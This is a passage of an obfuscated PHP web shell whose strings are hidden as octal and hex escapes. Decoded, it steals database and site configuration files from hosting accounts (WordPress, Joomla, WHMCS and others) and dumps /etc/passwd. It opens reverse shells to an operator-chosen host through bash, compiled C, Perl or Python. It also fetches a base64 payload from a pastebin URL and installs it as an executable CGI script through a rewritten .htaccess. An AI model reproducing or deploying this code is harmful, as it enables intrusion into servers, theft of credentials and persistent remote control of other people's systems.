"\57\150\157\155\145\66\57{$user_Mari}\x2f\160\x75\142\x6c\151\x63\137\150\164\x6d\x6c\x2f\x77\150\x6d\57\143\x6f\156\x66\x69\147\165\x72\141\x74\x69\157\156\56\160\150\160" => "\127\x48\x4d\103\123", "\x2f\150\157\x6d\x65\66\x2f{$user_Mari}\57\x70\x75\x62\x6c\151\x63\137\x68\x74\x6d\154\x2f\167\x68\155\x63\163\x2f\x63\157\156\x66\151\147\165\x72\141\164\x69\157\x6e\x2e\x70\x68\160" => "\x57\110\x4d\103\x53", "\57\150\x6f\155\145\x36\57{$user_Mari}\x2f\160\x75\x62\x6c\x69\143\x5f\x68\x74\155\x6c\x2f\x66\x6f\162\x75\x6d\57\143\157\156\146\151\x67\x2e\160\150\x70" => "\160\150\x70\x42\x42", "\x2f\x68\157\x6d\145\66\x2f{$user_Mari}\57\160\x75\x62\x6c\151\143\137\150\x74\155\x6c\57\163\x69\x74\x65\x73\x2f\x64\x65\146\141\x75\x6c\x74\57\x73\x65\x74\x74\x69\x6e\147\x73\56\x70\150\x70" => "\104\162\165\160\x61\x6c", "\x2f\x68\x6f\155\x65\66\x2f{$user_Mari}\x2f\160\x75\x62\154\x69\x63\x5f\150\x74\155\154\x2f\143\x6f\x6e\146\x69\x67\57\x73\145\x74\164\x69\156\x67\x73\56\x69\156\x63\56\x70\x68\160" => "\x50\162\x65\163\164\x61\x53\150\x6f\160", "\57\150\157\x6d\145\x36\57{$user_Mari}\x2f\160\165\142\154\x69\143\137\150\x74\x6d\x6c\57\141\160\160\57\x65\x74\x63\x2f\154\x6f\143\141\154\56\x78\155\154" => "\115\x61\147\145\156\164\157", "\57\150\x6f\x6d\145\66\x2f{$user_Mari}\x2f\160\x75\142\154\151\143\137\x68\164\x6d\154\57\152\157\x6f\155\154\141\57\143\x6f\156\146\151\147\x75\162\141\x74\x69\157\x6e\x2e\x70\150\160" => "\112\x6f\x6f\x6d\154\141", "\x2f\150\157\x6d\x65\x36\x2f{$user_Mari}\x2f\x70\x75\x62\x6c\x69\143\x5f\x68\x74\x6d\x6c\x2f\143\157\156\x66\x69\147\x75\x72\141\164\151\157\156\56\160\x68\x70" => "\112\x6f\157\x6d\x6c\141", "\x2f\x68\157\155\145\x36\x2f{$user_Mari}\x2f\160\165\x62\154\151\143\x5f\150\x74\x6d\154\57\167\160\x2f\x77\x70\x2d\143\157\156\x66\x69\x67\56\160\150\160" => "\127\157\x72\x64\120\162\x65\x73\x73", "\57\150\157\155\145\66\57{$user_Mari}\57\160\x75\x62\x6c\151\x63\x5f\150\164\155\154\57\167\x6f\162\144\160\162\x65\x73\x73\57\x77\x70\55\x63\x6f\x6e\x66\151\x67\x2e\160\x68\x70" => "\x57\157\162\x64\x50\162\145\x73\x73", "\x2f\x68\x6f\155\x65\x36\57{$user_Mari}\57\x70\165\142\x6c\x69\143\x5f\150\x74\155\154\57\167\x70\55\143\157\x6e\146\151\x67\x2e\x70\150\x70" => "\x57\x6f\162\144\120\162\x65\163\x73", "\x2f\x68\x6f\155\145\x36\57{$user_Mari}\57\160\x75\142\x6c\x69\x63\137\150\x74\155\x6c\57\141\144\x6d\151\x6e\x2f\x63\157\156\146\151\147\56\160\x68\x70" => "\117\160\x65\x6e\x43\x61\162\164", "\57\150\157\155\x65\66\57{$user_Mari}\57\x70\x75\x62\x6c\x69\x63\x5f\x68\x74\x6d\x6c\x2f\163\154\x63\157\x6e\x66\x69\147\56\160\x68\160" => "\123\151\164\x65\x6c\157\153", "\57\150\157\x6d\145\x36\57{$user_Mari}\x2f\x70\x75\x62\x6c\151\143\x5f\x68\x74\155\154\57\x61\160\x70\154\x69\143\x61\164\x69\x6f\156\57\x63\x6f\156\146\151\x67\57\144\141\x74\141\x62\141\163\145\56\160\x68\160" => "\x43\157\144\x65\111\x67\x6e\151\164\x65\162"); foreach ($grab_config as $config => $nama_config) { $ambil_config = fgt($config); if ($ambil_config == '') { } else { $file_config = fopen("\115\141\x72\151\x63\x6f\156\106\151\x67\57{$user_Mari}\x2d{$nama_config}\x2e\x74\x78\x74", "\x77"); fputs($file_config, $ambil_config); } } } } $baru = hex($dir); $baru2 = hex("\115\x61\162\x69\143\x6f\156\106\x69\147"); echo "\74\x62\162\76\74\142\x72\x3e\74\x63\x65\156\164\x65\162\x3e\74\141\40\143\x6c\141\x73\163\x20\75\40\47\x61\152\x78\x27\40\150\x72\145\146\x3d\x27\x3f\x64\75{$baru}\46{$baru2}\47\x3e\74\146\x6f\x6e\x74\40\143\157\x6c\157\162\x3d\162\x65\x64\76\123\x65\x6c\145\163\141\x69\56\x2e\x20\155\x61\162\153\151\143\157\142\41\x3c\x2f\x66\157\x6e\164\76\74\x2f\141\x3e\74\x2f\143\x65\156\x74\x65\162\76"; } else { echo "\x3c\x68\x72\76\74\142\162\x3e\74\143\145\x6e\x74\x65\x72\76"; echo "\74\x68\x32\x3e\103\157\x6e\146\x69\x67\x20\x47\x72\x61\142\142\145\x72\40\x59\74\x2f\x68\x32\76"; echo "\x3c\x66\157\x72\x6d\40\155\x65\164\150\x6f\x64\x3d\x22\160\x6f\x73\164\42\x20\141\x63\x74\x69\x6f\x6e\x3d\x22\42\x3e\74\x74\x65\x78\164\141\x72\x65\x61\40\x6e\141\x6d\x65\75\42\x70\141\163\x73\167\144\x22\40\143\x6c\141\x73\163\75\47\x61\162\145\141\x20\146\157\162\x6d\x2d\x63\x6f\156\164\162\157\x6c\47\40\162\x6f\x77\163\75\x27\61\65\x27\40\x63\x6f\154\x73\75\47\66\60\x27\x3e\xa"; echo fgt("\x2f\145\164\143\x2f\160\141\163\163\167\x64"); echo "\74\x2f\x74\x65\170\x74\141\x72\145\141\x3e\74\x62\162\x3e\x3c\151\x6e\x70\165\x74\40\x74\171\160\x65\x3d\x22\x73\165\142\155\x69\164\42\x20\x76\141\x6c\165\x65\75\42\107\162\x61\x62\42\40\143\154\x61\163\163\x20\x3d\x20\47\146\x6f\x72\x6d\x2d\143\157\x6e\164\162\157\154\47\x20\163\164\x79\154\145\75\47\167\x69\x64\x74\150\x3a\x32\x35\x30\160\x78\x3b\x27\76\74\x2f\164\x64\76\x3c\x2f\x74\x72\76\x3c\x2f\x63\x65\156\x74\x65\162\76\xa"; echo "\x3c\x62\162\x3e\x3c\x68\x72\76"; } } elseif (isset($_GET[hex("\x6e\145\x74\167\157\x72\153")])) { $back_connect_c = "\x49\x32\x6c\x75\131\62\x78\61\132\x47\x55\x67\x50\x48\x4e\x30\132\107\154\166\x4c\x6d\147\x2b\x44\x51\x6f\152\141\x57\x35\152\x62\x48\x56\x6b\x5a\123\x41\70\x63\x33\x6c\x7a\x4c\63\116\166\x59\62\x74\154\x64\103\x35\157\120\147\x30\x4b\x49\x32\x6c\x75\131\x32\x78\x31\132\107\x55\x67\120\107\x35\x6c\144\107\154\x75\132\130\121\x76\141\127\64\x75\x61\104\x34\x4e\103\155\x6c\165\x64\x43\x42\164\131\127\x6c\165\x4b\107\154\165\144\x43\102\x68\143\x6d\144\x6a\114\x43\x42\x6a\x61\107\x46\x79\111\103\x70\150\x63\155\144\62\127\61\x30\160\x49\x48\163\116\x43\x69\x41\x67\x49\103\102\160\142\x6e\121\x67\132\x6d\x51\67\104\121\157\x67\111\103\101\147\x63\63\x52\x79\x64\x57\x4e\60\x49\110\116\166\131\x32\x74\150\132\x47\x52\x79\x58\62\x6c\x75\x49\110\x4e\160\142\x6a\x73\116\x43\151\x41\147\111\x43\102\153\131\127\x56\164\142\62\64\x6f\x4d\123\x77\167\113\x54\163\x4e\103\151\101\x67\111\x43\x42\172\x61\127\x34\165\x63\x32\x6c\165\130\x32\x5a\x68\142\x57\154\x73\145\123\101\71\x49\105\x46\107\x58\60\x6c\117\122\126\121\67\104\121\157\x67\111\x43\x41\x67\143\62\x6c\165\114\x6e\x4e\x70\142\x6c\71\167\142\63\x4a\60\x49\104\x30\147\x61\110\x52\x76\x62\156\115\157\131\x58\122\x76\141\123\150\150\x63\x6d\x64\62\x57\x7a\112\x64\x4b\123\x6b\67\x44\x51\157\x67\111\x43\x41\147\x63\62\x6c\x75\x4c\156\116\x70\142\154\x39\x68\132\107\122\x79\x4c\156\x4e\146\x59\x57\x52\153\x63\x69\x41\x39\111\x47\154\165\x5a\x58\122\x66\131\x57\x52\153\x63\151\x68\150\x63\x6d\x64\x32\127\172\106\144\x4b\x54\163\116\x43\151\x41\x67\x49\103\102\155\132\103\101\x39\x49\x48\x4e\166\x59\x32\x74\x6c\x64\x43\x68\x42\x52\x6c\x39\x4a\x54\x6b\126\125\114\103\x42\124\x54\60\116\x4c\x58\61\x4e\x55\125\153\126\x42\124\x53\x77\x67\x53\126\102\x51\x55\x6b\71\125\x54\x31\x39\125\121\x31\x41\160\x49\x44\163\x4e\103\x69\101\x67\x49\x43\102\x70\x5a\x69\101\157\x4b\x47\116\166\x62\x6d\65\x6c\x59\x33\121\x6f\x5a\x6d\x51\x73\x49\103\150\172\x64\110\x4a\x31\x59\x33\121\x67\x63\x32\71\x6a\x61\x32\106\153\132\x48\x49\x67\x4b\x69\x6b\147\x4a\156\116\160\142\151\167\147\x63\62\154\x36\132\127\x39\155\x4b\110\116\x30\143\x6e\126\x6a\144\x43\102\x7a\x62\x32\116\162\x59\127\x52\153\x63\x69\x6b\160\x4b\x54\x77\167\113\x53\x42\x37\104\x51\157\147\x49\x43\101\x67\111\x43\101\x67\x49\110\x42\x6c\x63\156\x4a\x76\x63\x69\147\151\x51\62\71\x75\142\x6d\126\x6a\144\x43\102\155\x59\x57\x6c\163\111\x69\x6b\67\x44\121\157\147\x49\x43\x41\147\x49\x43\101\147\x49\110\112\x6c\144\110\x56\171\142\x69\x41\x77\117\167\60\x4b\x49\103\x41\x67\x49\110\x30\116\x43\151\x41\147\x49\x43\102\x6b\x64\130\101\x79\113\107\132\x6b\x4c\103\x41\167\x4b\124\163\x4e\103\x69\x41\x67\x49\x43\x42\x6b\144\x58\101\x79\113\x47\132\x6b\114\x43\101\x78\x4b\x54\163\x4e\x43\x69\x41\x67\x49\x43\102\x6b\x64\x58\101\x79\113\107\132\x6b\114\103\x41\171\x4b\x54\163\116\103\x69\101\x67\x49\x43\x42\x7a\x65\x58\116\x30\x5a\x57\60\x6f\111\151\71\151\x61\x57\64\x76\143\x32\x67\147\114\127\153\151\x4b\x54\163\x4e\x43\x69\101\147\111\103\102\x6a\x62\107\x39\172\x5a\x53\150\x6d\132\x43\153\67\104\x51\x70\71"; $back_connect_p = "\x49\x79\105\166\144\x58\x4e\171\x4c\x32\x4a\x70\142\151\71\154\142\156\131\x67\x63\107\x56\171\142\101\x30\x4b\x64\130\116\154\111\x45\154\x50\x4f\x6a\160\124\142\x32\116\x72\132\130\x51\x37\104\121\x6f\x6b\x62\x33\115\x39\x4a\x46\x35\x50\x4f\167\x30\x4b\x4a\110\x4e\x6f\x50\x53\x4a\x6c\x65\x48\x42\166\143\x6e\121\147\x56\x45\x56\123\124\124\x31\x34\144\107\x56\x79\142\x54\x74\x51\x55\172\105\x39\x4a\61\x77\x6b\x55\x46\144\x45\130\x44\x34\x6e\x4f\x32\x56\64\143\x47\71\x79\x64\103\102\x51\x55\x7a\x45\x37\x4c\62\112\160\142\151\71\x7a\x61\x43\101\164\x61\123\x49\67\x44\x51\x70\x70\x5a\x69\147\x6b\x62\63\115\x39\146\155\60\x76\144\x32\154\165\114\62\x6b\160\145\x79\122\x7a\141\104\x30\151\x4a\x55\x4e\120\124\x56\x4e\x51\122\125\x4d\154\x49\103\x39\x4c\x49\x6a\164\71\x44\x51\x6f\153\144\x44\x31\156\132\x58\x52\x77\x63\x6d\x39\60\142\62\x4a\x35\x62\155\x46\164\132\x53\x67\x6e\x64\x47\x4e\167\x4a\x79\x6b\67\104\121\160\172\142\62\116\x72\x5a\130\x51\157\125\171\167\x6d\125\x45\132\146\x53\x55\65\x46\x56\x43\x77\155\125\x30\x39\104\x53\61\71\x54\x56\106\112\x46\x51\125\x30\x73\112\110\121\x70\x66\110\170\153\x61\127\x55\x6f\x4b\x54\163\116\x43\155\154\x6d\x4b\105\102\102\x55\x6b\144\127\x50\x54\60\170\113\130\163\x4e\103\147\153\x6b\x63\104\60\x6b\x51\x56\112\110\x56\x6c\163\167\x58\x54\x73\x4e\103\x67\154\x7a\132\x58\122\172\142\x32\x4e\162\142\63\x42\60\113\106\115\x73\125\60\71\x4d\130\61\116\x50\121\x30\x74\106\x56\x43\x78\124\x54\61\71\123\x52\126\x56\x54\x52\125\x46\x45\x52\106\111\x73\115\x53\x6b\67\x44\x51\x6f\112\131\155\154\165\x5a\x43\x68\124\x4c\110\116\x76\x59\x32\x74\x68\132\x47\x52\x79\130\62\x6c\165\113\x43\x52\x77\x4c\x45\x6c\117\x51\x55\x52\x45\x55\154\71\102\124\x6c\153\x70\x4b\x58\x78\x38\x5a\x47\x6c\154\113\x43\153\67\104\121\157\112\142\107\x6c\x7a\144\107\x56\x75\113\x46\115\163\x4d\171\154\x38\x66\107\x52\x70\132\x53\x67\160\117\167\x30\113\103\127\106\152\131\x32\126\x77\x64\103\150\104\114\106\x4d\x70\117\x77\x30\113\x43\x58\x4e\154\x62\x6d\121\157\x51\171\167\x69\x62\x57\x46\123\x61\127\x52\x76\124\155\x38\147\143\x32\x68\x6c\142\x47\167\147\x4f\151\102\x6a\x62\x32\65\x75\x5a\127\x4e\60\132\127\122\143\x62\151\x49\163\115\x43\x6b\67\x44\x51\157\112\x62\63\102\x6c\142\x69\102\124\126\105\x52\112\124\x69\x77\x69\x50\103\132\104\x49\152\x74\x76\143\107\126\x75\x49\106\x4e\x55\x52\105\71\x56\x56\103\167\x69\120\151\x5a\x44\x49\152\x74\166\x63\107\x56\165\x49\106\x4e\x55\122\x45\x56\123\x55\x69\x77\x69\120\x69\x5a\104\x49\152\163\x4e\x43\x67\154\154\x65\x47\126\152\111\103\122\172\x61\x48\x78\70\x5a\107\x6c\154\x4b\x43\x6b\x37\x44\121\x6f\112\x59\62\170\166\x63\x32\x55\x6f\121\171\x6b\67\131\x32\170\x76\143\62\125\x6f\x55\x79\153\x37\x59\x32\x78\x76\143\62\125\157\125\x31\x52\x45\x53\x55\x34\x70\117\x32\116\163\x62\x33\x4e\x6c\x4b\106\x4e\x55\122\x45\x39\126\x56\103\153\x37\x59\x32\170\166\x63\62\x55\x6f\x55\x31\x52\105\122\x56\x4a\x53\113\x54\x73\x4e\x43\147\x6c\154\145\107\x6c\x30\111\x44\101\x37\104\x51\x6f\x4e\103\x6e\x30\x4e\x43\x6d\x56\163\143\62\x6c\x6d\x4b\105\x42\102\125\153\x64\127\x50\124\60\171\x4b\130\163\116\103\x67\x6b\x6b\x63\104\x30\x6b\121\126\112\x48\126\154\163\x77\130\x54\163\116\x43\x67\153\153\141\104\x30\x6b\121\126\x4a\x48\x56\154\163\x78\130\x54\163\116\103\x67\153\153\x61\124\x31\x70\x62\x6d\x56\x30\130\x32\x46\60\x62\x32\x34\x6f\x4a\x47\147\160\146\x48\170\x6b\x61\127\x55\157\113\124\x73\x4e\103\147\153\153\131\124\x31\x7a\x62\62\116\162\x59\127\x52\x6b\x63\154\71\x70\x62\x69\147\x6b\x63\x43\x77\x6b\141\123\x6c\70\x66\x47\122\160\x5a\x53\x67\x70\x4f\x77\60\x4b\103\127\116\166\142\x6d\65\154\131\x33\x51\x6f\125\x79\167\x6b\131\x53\x6c\x38\146\x47\122\x70\x5a\x53\147\x70\x4f\x77\60\x4b\x43\130\116\x6c\x62\155\x51\157\x55\x79\167\151\x63\62\150\154\x62\x47\x77\x67\x4f\x69\x42\x6a\x62\62\x35\165\x5a\x57\x4e\60\x5a\127\122\143\x62\x69\x49\x73\115\x43\153\x37\x44\x51\157\112\x62\x33\102\x6c\x62\151\150\x54\126\105\x52\x4a\x54\151\x77\x69\x50\151\x5a\124\x49\x69\x6b\67\142\63\102\x6c\142\151\x68\x54\x56\x45\x52\120\x56\x56\x51\x73\x49\x6a\x34\155\125\x79\x49\x70\117\x32\71\167\x5a\x57\x34\157\125\61\x52\x45\x52\126\112\123\x4c\103\111\53\x4a\154\115\x69\x4b\124\x73\x4e\103\x67\x6c\x6c\145\x47\x56\x6a\111\103\x52\x7a\141\110\x78\x38\x5a\x47\154\154\x4b\x43\153\67\104\121\x6f\x4a\x59\62\x78\x76\143\x32\125\x6f\x55\x79\x6b\x37\131\x32\x78\166\x63\62\x55\x6f\125\61\x52\x45\x53\125\x34\x70\117\x32\116\x73\x62\x33\x4e\x6c\113\x46\x4e\x55\x52\x45\x39\x56\126\103\x6b\x37\131\62\x78\166\143\62\125\157\125\x31\x52\105\x52\126\x4a\x53\x4b\x54\x73\116\103\x6e\60\x4e\103\155\126\163\x63\62\126\x37\x5a\130\x68\x70\x64\x43\x67\170\x4b\124\x74\x39"; echo "\74\x68\x72\76\74\x62\x72\x3e"; echo "\x3c\143\x65\156\x74\x65\162\x3e\xa\x9\11\x9\x9\x9\x9\74\150\x32\x3e\x20\x4e\145\x74\x77\157\x72\153\x73\40\x59\40\74\x2f\150\x32\76\x20\74\x62\162\x3e\x3c\142\x72\x3e\12\xa\11\74\146\157\162\x6d\x20\x6d\145\164\x68\x6f\x64\x20\x3d\40\47\120\x4f\x53\124\47\76\xa\11\74\163\x70\x61\x6e\x3e\102\x61\143\x6b\x2d\143\157\x6e\x6e\x65\143\164\40\x74\157\74\x2f\163\160\x61\x6e\x3e\x3c\142\x72\x2f\x3e\12\x9\x53\x65\162\x76\145\162\x3a\x20\74\x69\x6e\x70\165\x74\40\143\x6c\x61\x73\163\40\75\x20\47\x66\157\162\x6d\x2d\143\x6f\156\x74\162\157\x6c\x27\x20\164\171\x70\x65\x3d\x27\x74\x65\170\164\x27\40\156\x61\x6d\x65\75\x27\x70\x32\x27\x20\x73\164\x79\154\x65\x3d\x27\167\151\144\164\x68\x3a\62\65\60\160\x78\x3b\x27\x20\166\141\x6c\165\x65\x3d" . $_SERVER["\122\x45\115\117\x54\x45\137\101\104\104\x52"] . "\x3e\40\120\157\162\x74\x3a\40\74\x69\156\160\165\x74\x20\143\x6c\x61\x73\163\x20\x3d\x20\x27\146\157\162\x6d\x2d\143\157\x6e\x74\x72\x6f\154\47\40\163\164\x79\x6c\145\x3d\x27\167\x69\144\164\150\x3a\x32\65\60\160\170\x3b\47\40\x74\x79\160\x65\75\47\164\x65\170\164\x27\40\x6e\141\x6d\x65\x3d\x27\x70\x33\47\40\166\141\154\x75\x65\75\x27\x35\64\63\x33\47\76\74\x62\162\76\x20\x55\x73\151\156\x67\x3a\40\74\154\141\142\x65\154\x3e\x3c\x73\145\x6c\x65\143\164\x20\x6e\x61\155\x65\75\47\160\61\47\x20\x63\x6c\141\x73\x73\x20\75\40\47\146\x6f\162\155\55\x63\157\156\164\x72\157\x6c\47\40\x73\x74\171\x6c\x65\75\47\167\151\144\x74\x68\72\x31\x35\x30\x70\x78\x3b\47\x3e\x3c\x6f\x70\164\x69\x6f\156\x20\x76\x61\x6c\x75\x65\75\47\123\141\124\151\x6e\x47\107\141\x27\x3e\102\x61\163\150\74\57\157\160\164\x69\x6f\156\x3e\74\157\160\164\x69\157\x6e\x20\x76\141\x6c\165\x65\75\47\142\x63\143\47\76\103\74\x2f\157\x70\164\151\x6f\x6e\76\x3c\x6f\x70\x74\x69\157\156\40\x76\141\x6c\x75\145\75\47\142\143\160\x79\47\x3e\120\171\164\x68\157\156\74\57\157\x70\x74\151\157\156\76\x3c\57\163\x65\154\145\x63\x74\x3e\x3c\x2f\x6c\141\142\145\154\x3e\40\74\x69\156\160\165\164\x20\163\164\171\154\x65\75\47\x77\151\x64\164\x68\x3a\62\x35\x30\160\x78\x3b\47\x20\143\154\141\x73\163\x20\x3d\x20\47\146\x6f\162\x6d\55\x63\157\156\164\x72\x6f\154\47\x20\164\171\160\145\75\x73\x75\x62\x6d\x69\x74\40\x76\x61\x6c\165\x65\75\x27\163\x75\x62\155\x69\164\x27\x3e\xa\11\x3c\57\146\157\162\x6d\76\x3c\142\x72\76"; if (isset($_POST["\160\x31"])) { function cf($f, $t) { $w = @fopen($f, "\167") or @function_exists("\x66\x69\x6c\x65\137\x70\x75\164\x5f\x63\x6f\x6e\164\145\156\164\163"); if ($w) { @fwrite($w, @b64dd($t)) or @fputs($w, @b64dd($t)) or @file_put_contents($f, @b64dd($t)); @fclose($w); } } if ($_POST["\x70\61"] == "\x62\x63\x63") { cf("\57\164\x6d\160\x2f\142\143\x2e\x63", $back_connect_c); $ = exe("\147\x63\143\40\x2d\x6f\40\57\x74\x6d\x70\x2f\142\x63\40\57\x74\155\160\x2f\x62\x63\56\143"); @unlink("\x2f\164\155\160\x2f\x62\x63\x2e\143"); $ = exe("\147\143\x63\x20\55\x6f\x20\57\x74\155\x70\57\142\143\40\57\x74\x6d\160\57\142\143\x2e\143"); $ .= exe("\57\164\155\160\57\142\x63\40" . $_POST["\x70\x32"] . "\x20" . $_POST["\160\63"] . "\x20\46"); echo "\74\160\162\145\x20\x63\x6c\x61\163\x73\75\155\x6c\61\x3e{$}" . exe("\x70\x73\x20\141\x75\x78\40\x7c\x20\147\x72\x65\x70\x20\x62\x63") . "\x3c\x2f\160\162\x65\76"; } if ($_POST["\160\x31"] == "\x53\141\124\x69\156\x47\x47\141") { $cmd = "\x73\x65\164\163\x69\144\40\x62\141\163\x68"; $ = exe($cmd . "\40\55\x69\40\46\x3e\x2f\144\145\x76\57\164\x63\160\x2f" . $_POST["\x70\x32"] . "\x2f" . $_POST["\x70\x33"] . "\40\x30\x3e\46\x31\x20\46"); echo "\74\x70\162\145\x20\x63\x6c\x61\x73\163\75\x6d\154\61\x3e{$}" . exe("\x70\163\x20\141\x75\170\40\x7c\40\x67\x72\145\x70\x20\x73\x65\164\163\151\144") . "\74\57\x70\162\x65\x3e"; } if ($_POST["\x70\61"] == "\142\x63\x70\171") { $cmd = "\x70\171\164\150\157\156\x20\55\x63"; $ = exe($cmd . "\40\x69\x6d\x70\157\162\164\x20\x73\157\143\153\145\164\54\163\x75\142\160\162\x6f\143\145\163\163\54\157\x73\73\163\75\x73\157\143\x6b\145\x74\x2e\163\157\x63\153\x65\x74\x28\x73\157\143\x6b\145\x74\x2e\101\106\137\111\x4e\105\124\54\x73\157\143\x6b\145\164\x2e\x53\x4f\103\113\137\x53\x54\x52\105\x41\x4d\x29\73\x73\x2e\143\x6f\156\x6e\145\x63\164\x28\x28" . $_POST["\x70\62"] . "\x2c" . $_POST["\x70\63"] . "\51\51\73\x6f\163\56\x64\165\160\x32\x28\163\56\x66\151\x6c\x65\156\x6f\x28\51\x2c\60\x29\x3b\40\157\163\x2e\144\x75\x70\62\x28\x73\x2e\146\x69\x6c\145\156\157\50\51\x2c\x31\x29\x3b\40\x6f\x73\x2e\x64\x75\160\62\50\163\x2e\x66\x69\154\145\156\x6f\x28\51\x2c\x32\x29\x3b\x70\75\x73\x75\x62\160\x72\157\x63\145\x73\x73\x2e\143\x61\x6c\x6c\50\x5b\x27\57\142\x69\156\x2f\x73\x68\x27\x2c\47\55\x69\x27\135\x29\73"); echo "\74\x70\162\x65\40\143\x6c\141\x73\163\x3d\x6d\154\61\x3e{$}" . exe("\x70\163\40\141\165\170\40\x7c\x20\147\x72\145\x70\40\160\x79\164\150\x6f\x6e") . "\74\57\x70\x72\145\x3e"; } } echo "\x3c\57\x64\151\x76\76"; } elseif (isset($_GET[hex("\143\147\151")])) { echo "\x3c\x68\x72\x3e\74\142\162\x3e"; echo "\x3c\143\145\x6e\164\x65\162\76\12\x9\11\x9\x9\11\x9\74\x68\x32\76\40\103\107\111\40\131\x20\x3c\57\150\x32\76\40\74\142\162\x3e\74\142\x72\x3e\12\11\x9\x9\x9\11\x9\x3c\146\x6f\x72\155\x20\155\145\164\x68\x6f\x64\40\x3d\40\x27\x50\117\123\x54\x27\x3e\xa\11\11\11\x9\11\x9\74\x64\151\x76\x20\143\154\141\163\x73\40\x3d\x20\47\x72\x6f\167\x20\x63\x6c\x65\x61\x72\x66\151\170\47\76\12\x9\x9\11\x9\x9\11\x3c\144\x69\166\40\143\x6c\x61\x73\163\40\x3d\x20\47\143\157\154\x2d\x6d\144\x2d\64\47\76\xa\11\x9\11\11\11\x9\74\x69\x6e\x70\x75\x74\40\x74\171\160\145\40\75\40\x27\163\165\142\x6d\151\x74\47\40\x6e\141\x6d\145\40\75\x20\47\143\x67\151\47\x20\143\x6c\141\x73\163\40\x3d\40\x27\x66\157\162\155\x2d\143\157\x6e\164\162\x6f\154\47\40\x76\141\x6c\x75\x65\x20\x3d\x20\47\x43\x47\x49\40\x50\145\x72\154\x27\x20\163\164\171\x6c\145\x3d\x27\167\151\144\x74\x68\x3a\x20\62\x35\60\160\x78\x3b\47\x20\150\x65\151\x67\150\x74\x3d\x27\x31\x30\47\76\12\11\x9\11\11\11\x9\x3c\57\x64\x69\x76\x3e\xa\x9\x9\11\x9\11\11\74\x64\x69\x76\40\143\x6c\141\163\x73\x20\75\40\x27\143\x6f\154\55\x6d\x64\55\x34\47\76\12\11\11\11\x9\x9\x9\74\x69\156\x70\x75\164\40\x74\x79\x70\x65\40\x3d\x20\x27\163\165\142\x6d\151\164\x27\x20\x6e\x61\155\145\40\75\40\47\143\x67\x69\x32\x27\x20\x63\x6c\141\163\163\40\x3d\40\x27\x66\157\x72\155\x2d\x63\x6f\x6e\164\x72\x6f\154\47\x20\166\141\154\165\145\40\75\x20\47\103\107\111\40\120\x65\x72\154\x20\62\x27\40\163\164\x79\x6c\x65\x3d\x27\x77\151\x64\x74\150\x3a\40\x32\x35\60\160\170\x3b\x27\40\x68\145\151\147\150\164\75\x27\61\60\47\76\12\x9\11\11\11\x9\11\74\57\144\151\166\x3e\xa\x9\x9\x9\11\11\x9\x3c\144\151\166\x20\143\154\x61\163\163\x20\x3d\40\x27\143\x6f\x6c\55\x6d\x64\x2d\64\x27\76\xa\x9\x9\x9\11\x9\x9\x3c\x69\x6e\x70\165\x74\40\164\171\x70\145\40\75\40\x27\163\x75\x62\x6d\x69\164\47\x20\x6e\141\x6d\145\40\75\x20\x27\x63\x67\151\160\171\47\40\143\154\x61\163\163\x20\75\x20\x27\146\157\162\x6d\55\x63\157\x6e\x74\x72\157\154\x27\40\x76\x61\x6c\165\145\x20\x3d\40\x27\103\107\x49\x20\120\x79\x74\x68\157\x6e\x27\x20\163\x74\171\154\x65\x3d\47\x77\151\144\164\150\x3a\40\x32\x35\60\x70\x78\x3b\47\40\150\145\x69\x67\x68\164\75\x27\61\x30\47\x3e\xa\11\11\x9\x9\11\x9\74\x2f\x64\x69\x76\x3e\xa\x9\x9\x9\11\x9\11\xa\x9\11\x9\11\x9\11\74\x2f\x64\151\x76\x3e\74\57\x66\x6f\162\x6d\76\x3c\57\143\145\x6e\x74\x65\162\x3e\74\150\162\x3e\x3c\x62\x72\x3e"; if (isset($_POST["\143\147\x69"])) { if (!is_dir("\x6d\141\x72\x69\137\143\147\x69")) { mkdir("\155\141\x72\151\x5f\x63\147\x69", 493); } chdir("\x6d\x61\162\151\137\143\x67\151"); $file_cgi = "\143\147\151\x2e\x58"; $memeg = "\x2e\x68\x74\141\x63\x63\145\x73\163"; $isi_htcgi = "\x4f\120\x54\111\x4f\x4e\x53\40\x49\x6e\144\145\170\145\x73\40\x49\156\143\x6c\165\144\x65\x73\x20\105\170\x65\143\x43\107\x49\x20\x46\157\x6c\154\x6f\167\123\171\155\x4c\x69\156\153\163\x20\12\40\101\x64\144\124\x79\160\145\x20\x61\x70\160\154\x69\x63\141\x74\151\157\156\x2f\x78\55\150\164\164\x70\144\55\x63\147\x69\40\x2e\x58\x20\xa\40\101\144\144\110\x61\x6e\x64\x6c\x65\x72\40\143\x67\151\x2d\x73\x63\x72\151\160\x74\x20\x2e\130\x20\xa\x20\101\x64\x64\110\x61\156\144\x6c\x65\162\40\143\147\x69\x2d\x73\143\x72\x69\x70\x74\40\56\x58"; $htcgi = fopen("\56\150\x74\141\143\x63\x65\x73\163", "\167"); $targetPath = "\x68\x74\164\160\163\72\x2f\57\160\141\x73\164\x65\142\151\x6e\56\x63\x6f\155\x2f\162\141\167\57\x59\x42\x68\141\x65\x70\x70\61"; $data = fgt($targetPath); $content = b64dd($data); file_put_contents($file_cgi, $content); fwrite($htcgi, $isi_htcgi); chmod($file_cgi, 493); chmod($memeg, 493); ob_flush(); flush(); echo "\x3c\x62\x72\x3e\74\x63\145\x6e\x74\145\x72\76\x44\157\156\145\40\56\56\x2e\40\74\141\x20\x68\162\145\x66\x3d\x27\155\x61\x72\x69\x5f\143\x67\151\x2f\x63\147\151\56\130\47\x20\x74\141\x72\147\x65\x74\75\x27\137\142\x6c\141\156\153\47\x3e\113\x6c\x69\x6b\x20\104\x69\163\151\x6e\151\x3c\x2f\x61\x3e"; } elseif (isset($_POST["\x63\147\151\x32"])) { if (!is_dir("\155\x61\162\x69\137\143\x67\x69")) { mkdir("\155\x61\162\x69\x5f\x63\147\x69", 493); } chdir("\x6d\x61\x72\x69\137\x63\x67\151"); $file_cgi = "\143\147\x69\62\x2e\x58"; $memeg = "\x2e\150\164\141\143\x63\145\163\x73"; $isi_htcgi = "\x4f\120\124\x49\x4f\116\x53\x20\x49\x6e\144\145\170\x65\x73\40\x49\x6e\x63\x6c\x75\144\145\x73\x20\105\170\x65\143\x43\107\111\x20\x46\x6f\x6c\154\x6f\x77\123\171\155\114\151\x6e\x6b\163\x20\12\40\101\144\x64\124\x79\160\x65\x20\141\160\160\x6c\151\143\141\164\x69\x6f\156\x2f\x78\55\x68\164\x74\160\x64\55\x63\147\151\40\x2e\130\40\12\40\101\144\144\x48\141\x6e\144\x6c\x65\162\40\143\x67\x69\x2d\163\143\x72\x69\160\x74\x20\x2e\130\x20"; $htcgi = 